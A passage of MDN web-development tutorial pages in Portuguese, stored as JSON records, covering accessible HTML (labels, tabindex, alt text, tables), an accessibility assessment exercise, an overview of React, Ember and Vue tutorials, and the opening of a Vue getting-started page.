<label for=\"name\">Preencha com seu nome:</label>\n    <input type=\"text\" id=\"name\" name=\"name\" />\n  </div>\n  <div>\n    <label for=\"age\">Preencha com a sua idade:</label>\n    <input type=\"text\" id=\"age\" name=\"age\" />\n  </div>\n  <div>\n    <label for=\"mood\">Escolha o seu humor:</label>\n    <select id=\"mood\" name=\"mood\">\n      <option>Feliz</option>\n      <option>Triste</option>\n      <option>Bravo</option>\n      <option>Preocupado</option>\n    </select>\n  </div>\n</form>\n```\n\n\nIsso significa que utilizar links, botões, elementos de formulário e rótulos adequadamente (incluindo o elemento `<label>` para controles de formulário).\n\nContudo, novamente é o caso onde as pessoas ás vezes fazem coisas estranhas utilizando o HTML. Por exemplo, você pode se deparar com botões escritos utilizando o elemento `<div>`, como a seguir:\n\n\n```html\n<div data-message=\"Esse é do primeiro botão\">Clique em mim!</div>\n<div data-message=\"Esse é do segundo botão\">Clique em mim também!</div>\n<div data-message=\"Esse é do terceiro botão\">E em mim!</div>\n```\n\n\nMas usar esse código não é recomendado - você perde imediatamente a acessibilidade do teclado que você teria se tivesse usado apenas elementos `<button>`, além de não obter nenhum estilo padrão de CSS.\n\n#### Aplicando de volta a acessibilidade do teclado\n\nAdicionar tais vantagens de volta leva um pouco de trabalho (você pode ver um exemplo de código no nosso exemplo fake-div-buttons.html - e também pode ver o source code). Aqui nós acrescentamos aos nossos falsos botões `<div>` a capacidade de serem focados (inclusive via tab) dando a cada um o atributo `tabindex=\"0\"`:\n\n\n```html\n<div data-message=\"Esse é do primeiro botão\" tabindex=\"0\">Clique em mim!</div>\n<div data-message=\"Esse é do segundo botão\" tabindex=\"0\">\n  Clique em mim também!\n</div>\n<div data-message=\"Esse é do terceiro botão\" tabindex=\"0\">E em mim!</div>\n```\n\n\nBasicamente, o atributo `tabindex` destina-se principalmente a permitir que elementos tabulares tenham uma ordem de tabulação personalizada (especificada em ordem numérica positiva), em vez de apenas serem tabulados em sua ordem de origem padrão. Isso é quase sempre uma má ideia, pois pode causar grandes confusões. Use-o somente se você realmente precisar, por exemplo, se o layout mostrar coisas em uma ordem visual muito diferente do código-fonte, e você quiser fazer as coisas funcionarem mais logicamente. Existem duas outras opções para `tabindex`:\n\n* `tabindex=\"0\"` — conforme indicado acima, esse valor permite que elementos que normalmente não podem ser tabulados se tornem tabeláveis. Este é o valor mais útil do `tabindex`.\n* `tabindex=\"-1\"` — isso permite que elementos normalmente não tabuláveis recebam foco de maneira programática, por exemplo, via JavaScript, ou como alvo de links.\n\nEmbora a adição acima nos permita acessar os botões, ela não nos permite ativá-los através da tecla Enter/Return. Para fazer isso, temos que adicionar o seguinte truque de JavaScript:\n\n\n```js\ndocument.onkeydown = function (e) {\n  if (e.keyCode === 13) {\n    // The Enter/Return key\n    document.activeElement.click();\n  }\n};\n```\n\n\nAqui nós adicionamos um \"ouvinte\" (listener) ao objeto de documento (`document`) para detectar quando um botão foi pressionado no teclado. Verificamos qual botão foi pressionado por meio da propriedade `keyCode` (en-US) do objeto de evento; se for o código que corresponde a Enter/Return, executamos a função armazenada no manipulador `onclick` do botão usando `document.activeElement.click()`. `activeElement` nos dá o elemento que está atualmente focado na página.\n\nIsso acrescenta um monte de problemas extras para construir a funcionalidade de volta. E não deveríamos ter outros problemas com isso. **É sempre melhor apenas usar o elemento certo.**\n\n#### Rótulos de texto significativos\n\nOs rótulos de texto de controle da interface do usuário são muito úteis para todos os usuários, mas deixá-los claros e simples é particularmente importante para usuários com deficiências.\n\nVocê deve certificar-se de que seus rótulos de texto de botão e link sejam compreensíveis e distintos. Não use apenas \"Clique aqui\" para seus rótulos, pois os usuários de leitores de tela podem utilizar atalhos para exibir/ouvir listas de botões e controles de formulários e não identificá-los adequadamente. A captura de tela a seguir mostra nossos controles sendo listados pelo VoiceOver no Mac.\n\n![](/pt-BR/docs/Learn/Accessibility/HTML/voiceover-formcontrols.png)\n\nCertifique-se de que seus rótulos fazem sentido fora de contexto, lidos individualmente e no contexto do parágrafo em que estão. Por exemplo, este seria um bom exemplo para link:\n\n\n```html\n<p>\n  As baleias são criaturas realmente incríveis.\n  <a href=\"whales.html\">Saiba mais sobre baleias</a>.\n</p>\n```\n\n\nPorém este, é um exemplo ruim para link:\n\n\n```html\n<p>\n  As baleias são criaturas realmente incríveis. Para saber mais sobre baleias,\n  <a href=\"whales.html\">clique aqui</a>.\n</p>\n```\n\n\n**Nota:** Você pode encontrar muito mais sobre implementação de link e melhores práticas no artigo Criando hyperlinks. Você também pode ver alguns bons e maus exemplos em good-links.html e bad-links.html.\n\nOs rótulos de formulário (labels) também são importantes para dar a você uma ideia sobre o que precisa ser preenchido em cada entrada de formulário. O seguinte exemplo aparentemente é bem razoável:\n\n\n```html\nPreencha seu nome: <input type=\"text\" id=\"nome\" name=\"nome\" />\n```\n\n\nEntretanto, esse exemplo não é tão útil para usuários com deficiência. Não há nada para associar o rótulo de forma não ambígua à entrada do formulário e deixar claro como preenchê-lo, se você não puder vê-lo. Se você acessar esse item usando um leitor de tela, só irá ouvir uma descrição genérica \"editar texto\" sem associar corretamente qual o tipo de texto a ser editado.\n\nJá o exemplo a seguir, é bem melhor:\n\n\n```html\n<div>\n  <label for=\"nome\">Preencha seu nome:</label>\n  <input type=\"text\" id=\"nome\" name=\"nome\" />\n</div>\n```\n\n\nCom o código assim, o rótulo será claramente associado à entrada; a descrição será algo como \"Preencha seu nome: editar texto\".\n\n![](/pt-BR/docs/Learn/Accessibility/HTML/voiceover-good-form-label.png)\n\nComo um bônus adicional, na maioria dos navegadores a associação de um rótulo a uma entrada de formulário significa que você pode clicar no rótulo para selecionar/ativar o elemento de formulário. Isso consequentemente aumenta o tamanho da área clicável dos elementos, facilitando assim a seleção.\n\n**Nota:** Você pode ver alguns bons e maus exemplos de formulários em good-form.html e bad-form.html.\n\nTabelas de dados acessíveis\n---------------------------\n\nUma tabela básica de dados pode ser escrita com uma marcação muito simples, como neste exemplo:\n\n\n```html\n<table>\n  <tr>\n    <td>Name</td>\n    <td>Age</td>\n    <td>Gender</td>\n  </tr>\n  <tr>\n    <td>Gabriel</td>\n    <td>13</td>\n    <td>Male</td>\n  </tr>\n  <tr>\n    <td>Elva</td>\n    <td>8</td>\n    <td>Female</td>\n  </tr>\n  <tr>\n    <td>Freida</td>\n    <td>5</td>\n    <td>Female</td>\n  </tr>\n</table>\n```\n\n\nMas essa tabela possui alguns problemas - não há como um usuário de leitor de telas associar linhas ou colunas como agrupamentos de dados. Para fazer isso, você precisa saber quais são as linhas de cabeçalho e se elas estão direcionando linhas, colunas etc. Isso só pode ser feito visualmente para a tabela acima (veja o exemplo bad-table.html e tente navegar pela tabela você mesmo).\n\nAgora dê uma olhada no exemplo da nossa tabela de bandas punk - você pode ver alguns recursos de acessibilidade aqui:\n\n* Os cabeçalhos de tabela são definidos usando elementos `<th>` - você também pode especificar se eles são cabeçalhos de linhas ou colunas usando o atributo `scope`. Isso fornece grupos completos de dados que podem ser consumidos pelos leitores de tela como unidades únicas.\n* O elemento `<caption>` e o atributo de resumo (`<table>` `summary`) executam tarefas semelhantes - eles funcionam como texto alternativo para uma tabela, fornecendo ao usuário de leitor de telas um resumo rápido e útil do conteúdo da tabela. `<caption>` é geralmente mais adequado, pois torna o seu conteúdo acessível para os usuários com visão também, que também poderão achar isso útil. Você não precisa ter os dois.\n\n**Nota:** Consulte nossos artigos sobre Recursos avançados de acessibilidade para tabelas em HTML (en-US) para obter mais detalhes sobre tabelas de dados acessíveis.\n\nAlternativas em textos\n----------------------\n\nConsiderando que o conteúdo textual é inerentemente acessível, o mesmo não pode necessariamente ser dito para conteúdo multimídia - conteúdo de imagem / vídeo não pode ser visto por pessoas com deficiência visual, e conteúdo de áudio não pode ser ouvido por pessoas com deficiência auditiva. Abordaremos o conteúdo de vídeo e áudio em detalhes no artigo sobre multimídia acessível mais adiante, mas para este artigo veremos a acessibilidade para o elemento `<img>`.\n\nTemos um exemplo simples escrito, accessible-image.html, que apresenta quatro cópias da mesma imagem:\n```\n\n<img src=\"dinosaur.png\">\n\n<img src=\"dinosaur.png\"\n     alt=\"Um tiranossauro Rex vermelho: Um dinossauro de duas patas em pé como um humano, com braços pequenos e uma cabeça grande com muitos dentes afiados.\">\n\n<img src=\"dinosaur.png\"\n     alt=\"Um tiranossauro Rex vermelho: Um dinossauro de duas patas em pé como um humano, com braços pequenos e uma cabeça grande com muitos dentes afiados.\"\n     title=\"O dinossauro vermelho da Mozilla.\">\n\n<img src=\"dinosaur.png\" aria-labelledby=\"dino-label\">\n\n<p id=\"dino-label\">O Tiranossauro Rex: um dinossauro de duas patas de pé como um humano, com braços pequenos e uma cabeça grande com muitos dentes afiados.</p>\n```\n\n\nA primeira imagem, quando visualizada por um leitor de tela, não oferece muita ajuda ao usuário - o VoiceOver, por exemplo, lê \"/dinosaur.png, image\". Ele lê o nome do arquivo para tentar fornecer alguma ajuda. Neste exemplo, o usuário pelo menos saberá que é um tipo de dinossauro, mas muitas vezes os arquivos podem ser carregados com nomes de arquivos gerados por máquina (por exemplo, de uma câmera digital) e esses nomes provavelmente não fornecem nenhum contexto ao conteúdo da imagem.\n\n**Nota:** É por isso que você nunca deve incluir conteúdo de texto dentro de uma imagem - os leitores de tela simplesmente não podem acessá-lo. Existem outras desvantagens também - você não pode selecioná-lo e copiá-lo/colá-lo. Apenas não faça isso!\n\nQuando um leitor de tela encontra a segunda imagem, ele lê todo o atributo `alt` - \"Um tiranossauro Rex vermelho: Um dinossauro de duas patas em pé como um humano, com braços pequenos e uma cabeça grande com muitos dentes afiados\".\n\nIsso destaca a importância de não apenas usar nomes de arquivos significativos, caso o **texto alternativo** não esteja disponível, mas também garantir que o texto alternativo seja fornecido em atributos `alt` sempre que possível. Observe que o conteúdo do atributo `alt` sempre deve fornecer uma representação direta da imagem e o que ela transmite visualmente. Qualquer conhecimento pessoal ou descrição extra não deve ser incluído aqui, já que não é útil para pessoas que não se depararam com a imagem antes.\n\nUma coisa a considerar é se as imagens possuem algum significado dentro de seu conteúdo ou se elas são puramente decorativas. Se eles são decorativas, é melhor apenas incluí-las na página como imagens de fundo através de CSS.\n\n**Nota:** Leia Imagens em HTML e Imagens Responsivas para obter mais informações sobre a implementação de imagens e melhores práticas.\n\nSe você quiser fornecer informações contextuais extras, deverá colocá-las no texto ao redor da imagem ou dentro de um atributo de título (`title`), como mostrado acima. Nesse caso, a maioria dos leitores de tela lerá o texto alternativo, o atributo de título e o nome do arquivo. Além disso, os navegadores exibem o texto do título como dicas de ferramentas quando estão sobre o mouse.\n\n![](/pt-BR/docs/Learn/Accessibility/HTML/title-attribute.png)\n\nVamos dar uma olhada rápida no quarto método:\n\n\n```html\n<img src=\"dinosaur.png\" aria-labelledby=\"dino-label\" />\n\n<p id=\"dino-label\">O dinossauro vermelho da Mozilla.</p>\n```\n\n\nNesse caso, não estamos usando o atributo `alt` - em vez disso, apresentamos nossa descrição da imagem como um parágrafo de texto regular, atribuímos um `id` e, em seguida, usamos o atributo `aria-labelledby` para nos referirmos a esse `id`, que faz com que os leitores de tela usem esse parágrafo como o texto/rótulo alternativo para essa imagem. Isso é especialmente útil se você quiser usar o mesmo texto como um rótulo para várias imagens - algo que não é possível com `alt`.\n\n**Nota:** `aria-labelledby` é parte da especificação WAI-ARIA, que permite aos desenvolvedores adicionar uma semântica extra à sua marcação para melhorar a acessibilidade do leitor de tela quando necessário. Para saber mais sobre como funciona, leia nosso artigo básico sobre WAI-ARIA (en-US).\n\n### Outros mecanismos alternativos de textos\n\nImagens também têm outros mecanismos disponíveis para fornecer texto descritivo. Por exemplo, há um atributo `longdesc` que serve para apontar para um documento da Web separado contendo uma descrição estendida da imagem:\n\n\n```html\n<img src=\"dinosaur.png\" longdesc=\"dino-info.html\" />\n```\n\n\nIsso aparentemente é uma boa ideia, especialmente para infográficos ou gráficos com muitas informações, que talvez possam ser representados como uma tabela de dados acessível (consulte a seção anterior). No entanto, o `longdesc` não é suportado de forma consistente pelos leitores de tela e o conteúdo é completamente inacessível para usuários que não usam leitores de tela. É sem dúvida muito melhor incluir a descrição longa na mesma página que a imagem ou vinculá-la a um link comum.\n\nO HTML5 inclui dois novos elementos - `<figure>` e `<figcaption>` - que devem associar uma figura de algum tipo (pode ser qualquer coisa, não necessariamente uma imagem) com uma legenda de figura:\n\n\n```html\n<figure>\n  <img src=\"dinosaur.png\" alt=\"O dinossauro da Mozilla.\" />\n  <figcaption>\n    Um tiranossauro Rex vermelho: Um dinossauro de duas patas em pé como um\n    humano, com braços pequenos e uma cabeça grande com muitos dentes afiados.\n  </figcaption>\n</figure>\n```\n\n\nInfelizmente, a maioria dos leitores de tela parece não associar ainda as legendas utilizando o elemento \"figure\" às respectivas imagens, mas a estrutura do elemento é útil para o estilo CSS, além de fornecer uma maneira de inserir uma descrição da imagem.\n\n### Atributos \"alt\" vazios\n\n\n```html\n<h3>\n  <img src=\"article-icon.png\" alt=\"\" />\n  Tiranossauro Rex: O Rei dos dinossauros.\n</h3>\n```\n\n\nPode haver momentos em que uma imagem é incluída no design de uma página, mas seu objetivo principal é a decoração visual. Você notará no exemplo de código acima que o atributo `alt` da imagem está vazio - isso é para fazer com que os leitores de tela reconheçam a imagem, mas não tentem descrever a imagem (em vez disso, dizem apenas \"imagem\" ou similar).\n\nA razão para usar um `alt` vazio ao invés de não incluí-lo é porque muitos leitores de tela anunciam o URL da imagem inteira se nenhum `alt` for fornecido. No exemplo acima, a imagem está agindo como uma decoração visual para o título ao qual está associada. Em casos como esse, e nos casos em que uma imagem é apenas decoração e não tem valor de conteúdo, você deve colocar um `alt` vazio em suas imagens. Outra alternativa é usar o atributo ARIA role (role=\"presentation\") - isso também impede que os leitores de telas leiam textos alternativos.\n\n**Nota:** se possível, você deve usar CSS para exibir imagens que são apenas decorativas.\n\nResumo\n------\n\nAgora você deve estar familiarizado com a escrita de HTML acessível para a maioria das ocasiões. Nosso artigo básico do WAI-ARIA também preencherá algumas lacunas nesse conhecimento, mas este artigo cuidou do básico. Em seguida, exploraremos CSS e JavaScript e como a acessibilidade é afetada por seu uso bom ou ruim.\n\n* Anterior  (en-US)\n* Menu: Accessibility\n* Próxima  (en-US)"}
{"title":"Avaliação: solucionando problemas de acessibilidade - Aprendendo desenvolvimento web","text":"Avaliação: solucionando problemas de acessibilidade\n===================================================\n\n* Anterior  (en-US)\n* Menu: Accessibility\n\nNa avaliação deste módulo, apresentamos a você um site simples com vários problemas de acessibilidade que você precisa diagnosticar e corrigir.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico de informática, entendimento básico de HTML, CSS e\n Javascript, uma compreesão dos\n artigos anteriores deste curso.\n  |\n| Objetivo: | Testar conhecimentos básicos e fundamentais para a acessibilidade. |\n\nPonto de partida\n----------------\n\nPara começar esta avaliação, você deve pegar o arquivo ZIP que contém os arquivos que compõem o exemplo. Descompacte o conteúdo em um novo diretório em algum lugar de seu computador.\n\nO site de avaliação final, deve ser parecido com esse:\n\n![](/pt-BR/docs/Learn/Accessibility/Accessibility_troubleshooting/assessment-site-finished.png)\n\nVocê verá algumas diferenças e/ou problemas com a exibição do estado inicial do site da avaliação - isso se deve principalmente as diferenças na marcação de código, o que, por sua vez, causa alguns problemas de estilo, pois o CSS não está aplicado corretamente. Não se preocupe - você irá corrigir esses problemas nas próximas seções!\n\nResumo do projeto\n-----------------\n\nPara este projeto, você é apresentado a um site fictício exibindo um artigo sobre ursos. Da forma como ele está, possui vários problemas de acessibilidade - a sua tarefa é explorar o site existente e corrigí-los da melhor forma possível, respondendo as seguintes perguntas.\n\n### Cor\n\nO texto é difícil de ler devido ao esquema de cores atual. Você pode fazer um teste do contraste de cor atual (texto/plano de fundo), relatar os resultados do teste e corrigí-lo alterando as cores atribuídas?\n\n### HTML semântico\n\n1. O conteúdo ainda não é muito acessível - relate o que acontece quando você tenta navegar utilizando um leitor de telas.\n2. Você consegue atualizar o texto do artigo para facilitar a navegação de usuários de leitores de telas?\n3. A parte do menu de navegação do site (agrupada em `<div class=\"nav\"></div>`) poderia estar mais acessível se estivesse dentro de um elemento semântico de HTML5 mais adequado. Qual elemento deve ser utilizado? Atualize-o.\n\n**Nota:** Você precisará atualizar os seletores de CSS que estilizam as respectivas tags para seus equivalentes aos cabeçalhos semânticos. Depois de adicionar elementos de parágrafo, você perceberá que a estilização parecerá bem melhor.\n\n### As imagens\n\nAs imagens estão atualmente inacessíveis para os usuários do leitor de tela. Você pode consertar isso?\n\n### O \"player\" de áudio\n\n1. Foi utilizada o elemento `<audio>` para exibir o \"player\", porém ele não é acessível para pessoas com deficiência auditiva (surdos) - você consegue adicionar algum tipo de alternativa acessível para esses usuários?\n2. O elemento `<audio>` para utilizar o \"player\" não é acessível para aqueles que usam navegadores mais antigos que não suportam HTML5. Como você pode fazer com que esses usuários consigam ter acesso ao áudio?\n### Os formulários\n\n1. O elemento `<input>` no formulário de pesquisa no topo poderia ter um rótulo, mas não queremos adicionar um rótulo de texto visível que possa prejudicar o design e não seja realmente necessário para os usuários com visão. Como você pode adicionar um rótulo acessível apenas aos leitores de tela?\n2. Os dois elementos `<input>` no formulário de comentários possui rótulos de texto visíveis, mas não estão associados corretamente entre eles. Como você poderia fazer isso? Note que você precisará atualizar algumas regras de CSS também.\n### Os controles de comentários \"exibir/ocultar\"\n\nO botão de controle \"exibir/ocultar\" não está acessível por teclado. Você pode torná-lo acessível, tanto em termos de deixá-lo \"focável\" através da utilização da tecla tab, como ativá-lo usando a tecla enter?\n\n### A tabela\n\nA tabela de dados não está muito acessível no momento - é difícil para os usuários de leitores de tela associarem linhas e colunas de dados juntas, e a tabela também não possui nenhum tipo de resumo para deixar claro o que mostra. Você pode adicionar alguns recursos ao seu HTML para corrigir esse problema?\n\n### Outras considerações?\n\nVocê pode citar mais duas ideias de melhorias que poderiam tornar o site mais acessível?\n\nAvaliação\n---------\n\nSe você está fazendo esta avaliação como parte de um curso, você deverá entregar o seu trabalho para um professor para que possa corrigí-lo. Se você é auto-didata, então você pode obter o guia com a marcação correta perguntando no tópico de discussão para este exercício, ou no canal de IRC #mdn no IRC do Mozilla. Experimente tentar fazer o exercício primeiro - você não ganhará nada trapaceando!\n\n* Anterior  (en-US)\n* Menu: Accessibility"}
{"title":"Entendendo frameworks JavaScript do lado do cliente - Aprendendo desenvolvimento web","text":"Entendendo frameworks JavaScript do lado do cliente\n===================================================\n\nAs estruturas JavaScript são uma parte essencial do desenvolvimento front-end da Web moderna, que fornecem aos desenvolvedores ferramentas utilizadas e testadas para a criação de aplicativos Web interativos e escalonáveis. Muitas empresas modernas usam estruturas como parte padrão de suas ferramentas, portanto, muitos trabalhos de desenvolvimento front-end agora exigem experiência em estruturas.\n\nComo um desenvolvedor front-end iniciante, pode ser difícil descobrir por onde começar ao aprender frameworks - com tantos frameworks diferentes para escolher, novos aparecem o tempo todo, geralmente funcionam de maneira semelhante, mas fazem algumas coisas de forma diferente, e há alguns cuidados específicos a serem seguidos ao se usar frameworks.\n\nNeste conjunto de artigos, nosso objetivo é fornecer um ponto de partida confortável para ajudá-lo a começar a aprender frameworks. Não pretendemos ensinar exaustivamente tudo o que você precisa saber sobre o React / ReactDOM, ou Vue, ou algum outro framework específico; os próprios documentos das equipes do framework já fazem esse trabalho. Em vez disso, queremos fazer backup e responder primeiro a perguntas mais fundamentais, como:\n\n* Por que devo usar um framework? Que problemas eles resolvem para mim?\n* Que perguntas devo fazer ao tentar escolher um framwork? Eu preciso mesmo usar um framework?\n* Quais recursos os frameworks têm? Como funcionam em geral e como as implementações dos frameworks desses recursos diferem?\n* Como se relacionam com JavaScript ou HTML \"vanilla\"?\n\nDepois disso, forneceremos alguns tutoriais que abordam os fundamentos de alguns dos principais frameworks, que fornecem contexto e familiaridade suficientes para começar a se aprofundar mais. Queremos que avance e aprenda sobre estruturas de uma maneira pragmática que não se esqueça das melhores práticas fundamentais da plataforma da web, como acessibilidade.\n\n**Comece agora, com \"Introdução às estruturas do lado do cliente\" (en-US)**\n\nPré - requisitos\n----------------\n\nVocê deve aprender o básico das principais linguagens para web(**HTML**, **CSS** e principalmente **Javascript**) antes de estudar os frameworks voltados para client-side.Dessa forma, o seu código será mais rico e profissional, preparando você para lidar com problemas com mais confiança, resultado do bom entendimento sobre os recursos fundamentais dos frameworks que constroem as plataformas.\n\nGuias de introdução\n-------------------\n\n1.Introdução a frameworks para client-side (en-US)\n\nNós iniciamos nosso olhar sobre frameworks com uma visão geral da área, olhando para uma breve história do JavaScript e frameworks, por que frameworks existem e o que eles nos fornecem, como começar a pensar na escolha de um framework para aprender e quais alternativas de frameworks para o lado do cliente existem.\n\n2.Principais recursos para frameworks (en-US)\n\nCada framework JavaScript principal tem uma abordagem diferente para atualizar o DOM, manipular eventos do navegador e fornecer uma experiência agradável de desenvolvimento. Este artigo explorará os principais recursos dos \"quatro maiores\" frameworks, observando como eles tendem a funcionar a partir de um nível superficial e as diferenças entre si.\n\nTutoriais de React\n------------------\n\n**Nota:** Tutoriais de React testados pela última vez em Maio de 2020, com React/ReactDOM 16.13.1 e create-react-app 3.4.1.\n\nSe você precisar conferir seu código em relação à nossa versão, você pode encontrar a versão finalizada do código de exemplo da aplicação React em nosso repositório todo-react. Para uma versão executada ao vivo, veja https://mdn.github.io/todo-react-build/.\n\n1. Começando com o React\n\nNeste artigo nós vamos dar olá para o React. Descobriremos um pouco dos detalhes sobre seu histórico e casos de uso, configurar uma cadeia de ferramentas React básica em nosso computador local, e criar e brincar com um aplicativo inicial simples, aprendendo um pouco sobre como o React funciona no processo.\n\n2. Começando com a nossa lista \"to do\" do React (en-US)\n\nDigamos que recebemos a tarefa de criar uma prova de conceito em React - uma aplicação que permite aos usuários adicionar, editar e deletar tarefas nas quais desejam trabalhar e também marcar tarefas como concluídas sem excluí-las. Este artigo irá orientá-lo sobre como colocar a estrutura básica e estilizações do componente `App` no lugar, pronto para a definição e interatividade de componentes individuais, que adicionaremos mais tarde.\n\n3. Componetizando o nosso app React (en-US)\n\nNeste ponto, nossa aplicação é um monólito. Antes que possamos fazê-lo fazer as coisas, nós precisamos dividi-lo em componentes gerenciáveis e descritivos. React não tem regras rígidas para o que é ou não um componente – isso é com você! Neste artigo mostraremos a você uma forma sensível de dividir nossa aplicação em componentes.\n\n4. Interatividade React : Eventos e estado (en-US)\n\nCom nosso plano de componentes realizado, agora é hora de começar a atualizar nossa aplicação de uma interface de usuário completamente estática para uma que realmente nos permita interagir e alterar as coisas. Neste artigo faremos isso, investigando os eventos e estados ao longo do caminho.\n\n5. Interatividade com o React : Editando, filltrando e renderizando (en-US)\n\nÀ medida que nos aproximamos do final da nossa jornada React (pelo menos por enquanto), adicionaremos os toques finais para as principais áreas de funcionalidade da nossa aplicação de lista \"to do\". Isso inclui permitir que você edite tarefas existentes e filtre a lista de tarefas entre todas as tarefas, concluídas e incompletas. Veremos a renderização condicional da interface de usuário ao longo do caminho.\n\n6. Acessibilidade com o React (en-US)\n\nEm nosso artigo tutorial final, vamos focar (trocadilho intencional) na acessibilidade, incluindo o gerenciamento de foco no React, que pode melhorar a usabilidade e reduzir a confusão tanto para os usuários de teclado quanto usuários leitores de tela.\n\n7. Recursos do React (en-US)\n\nNosso artigo final fornece uma lista de recursos do React que você pode usar para avançar no seu aprendizado.\n\nEmber tutorials\n---------------\n\n**Nota:** Ember tutorials last tested in May 2020, with Ember/Ember CLI version 3.18.0.\n\nIf you need to check your code against our version, you can find a finished version of the sample Ember app code in the ember-todomvc-tutorial repository. For a running live version, see https://nullvoxpopuli.github.io/ember-todomvc-tutorial/ (this also includes a few additional features not covered in the tutorial).\n\n1. Getting started with Ember (en-US)\n\nIn our first Ember article we will look at how Ember works and what it's useful for, install the Ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.\n\n2. Ember app structure and componentization (en-US)\n\nIn this article we'll get right on with planning out the structure of our TodoMVC Ember app, adding in the HTML for it, and then breaking that HTML structure into components.\n\n3. Ember interactivity: Events, classes and state (en-US)\n\nAt this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items. Along the way, we'll look at using events in Ember, creating component classes to contain JavaScript code to control interactive features, and setting up a service to keep track of the data state of our app.\n\n4. Ember Interactivity: Footer functionality, conditional rendering (en-US)\n\nNow it's time to start tackling the footer functionality in our app. Here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). We'll also wire up our \"Clear completed\" button. Along the way, we'll learn about using conditional rendering in our templates.\n\n5. Routing in Ember (en-US)\n\nIn this article we learn about routing or URL-based filtering as it is sometimes referred to. We'll use it to provide a unique URL for each of the three todo views — \"All\", \"Active\", and \"Completed\".\n\n6. Ember resources and troubleshooting (en-US)\n\nOur final Ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.\n\nVue tutorials\n-------------\n\n**Nota:** Vue tutorials last tested in May 2020, with Vue 2.6.11.\n\nIf you need to check your code against our version, you can find a finished version of the sample Vue app code in our todo-vue repository. For a running live version, see https://mdn.github.io/todo-vue/dist/.\n\n1. Getting started with Vue\n\nNow let's introduce Vue, the third of our frameworks. In this article, we'll look at a little bit of Vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.\n\n2. Creating our first Vue component (en-US)\n\nNow it's time to dive deeper into Vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list. Along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props and saving data state.\n\n3. Rendering a list of Vue components (en-US)\n\nAt this point we've got a fully working component; we're now ready to add multiple `ToDoItem` components to our App. In this article we'll look at adding a set of todo item data to our `App.vue` component, which we'll then loop through and display inside `ToDoItem` components using the `v-for` directive.\n\n4. Adding a new todo form: Vue events, methods, and models (en-US)\n\nWe now have sample data in place and a loop that takes each bit of data and renders it inside a `ToDoItem` in our app. What we really need next is the ability to allow our users to enter their own todo items into the app, and for that, we'll need a text `<input>`, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. This is what we'll cover in this article.\n\n5. Styling Vue components with CSS (en-US)\n\nThe time has finally come to make our app look a bit nicer. In this article, we'll explore the different ways of styling Vue components with CSS.\n\n6. Using Vue computed properties (en-US)\n\nIn this article we'll add a counter that displays the number of completed todo items, using a feature of Vue called computed properties. These work similarly to methods but only re-run when one of their dependencies changes.\n\n7. Vue conditional rendering: editing existing todos (en-US)\n\nNow it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items. To do this, we will take advantage of Vue's conditional rendering capabilities — namely `v-if` and `v-else` — to allow us to toggle between the existing todo item view and an edit view where you can update todo item labels. We'll also look at adding functionality to delete todo items.\n\n8. Focus management with Vue refs (en-US)\n\nWe are nearly done with Vue. The last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. We'll look at using Vue refs to handle this — an advanced feature that allows you to have direct access to the underlying DOM nodes below the virtual DOM, or direct access from one component to the internal DOM structure of a child component.\n\n9. Vue resources (en-US)\n\nNow we'll round off our study of Vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.\n\nWhich frameworks did we choose?\n-------------------------------\n\nWe are publishing our initial set of articles with guides focusing on three of the major frameworks out there — React/ReactDOM, Ember, and Vue. There is a variety of reasons for this:\n\n* They are popular choices that will be around for a while — like with any software tool, it is good to stick with actively-developed choices that are likely to not be discontinued next week, and which will be desirable additions to your skill set when looking for a job.\n* They have strong communities and good documentation. It is very important to be able to get help with learning a complex subject, especially when you are just starting out.\n* We don't have the resources to cover *all* modern frameworks. That list would be very difficult to keep up-to-date anyway, as new ones appear all the time.\n* As a beginner, trying to choose what to focus on out of the huge number of choices available is a very real problem. Keeping the list short is therefore helpful.\n\nWe want to say this upfront — we've **not** chosen the frameworks we are focusing on because we think they are the best, or because we endorse them in any way. We just think they score highly on the above criteria.\n\nNote that we were hoping to have more frameworks included upon initial publication, but we decided to release the content and then add more framework guides later, rather than delay it longer. If your favourite framework is not represented in this content and you'd like to help change that, feel free to discuss it with us! Get in touch with us via Matrix, or Discourse, or drop us a mail on the mdn-admins list."}
{"title":"Iniciando com Vue - Aprendendo desenvolvimento web","text":"Iniciando com Vue\n=================\n\n* Anterior  (en-US)\n* Menu: Client-side JavaScript frameworks\n* Próxima  (en-US)\n\nAgora vamos apresentar o Vue, o nosso terceiro frameworks. Neste artigo, examinaremos um pouco do histórico do Vue, aprenderemos como instalá-lo e criar um novo projeto, estudaremos a estrutura de alto nível de todo o projeto e um componente individual, veremos como executar o projeto localmente e o deixaremos preparado para começar a construir o nosso exemplo.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento com as liguagens\n HTML,\n CSS, e\n JavaScript, conhecimento do\n terminal/command line (en-US).\n\n\n Os componentes do Vue são escritos como uma combinação de objetos\n JavaScript que gerenciam os dados do aplicativo e uma sintaxe de\n modelo baseada em HTML que é mapeada para a estrutura DOM subjacente.\n Para a instalação e para usar alguns dos recursos mais avançados do\n Vue (como simples Componentes de arquivo ou funções de renderização),\n você precisará de um terminal com node + npm instalados.\n  |\n| Objetivo: | \n Para configurar um ambiente de desenvolvimento local do Vue, crie um\n aplicativo inicial e entenda o básico de como ele funciona.\n  |\n\nUm Vue mais claro\n-----------------\n\nO Vue é uma estrutura JavaScript moderna que fornece recursos úteis para aprimoramento progressivo - ao contrário de muitos outros frameworks, você pode usar o Vue para aprimorar o HTML existente. Isso permite que você use o Vue como um substituto para uma biblioteca como o JQuery.\n\nDito isto, você também pode usar o Vue para escrever aplicativos de página única (Single Page Applications - SPAs) inteiros. Isso permite criar marcações gerenciadas inteiramente pelo Vue, o que pode melhorar a experiência e o desempenho do desenvolvedor ao lidar com aplicativos complexos. Também permite tirar proveito das bibliotecas para roteamento do lado do cliente 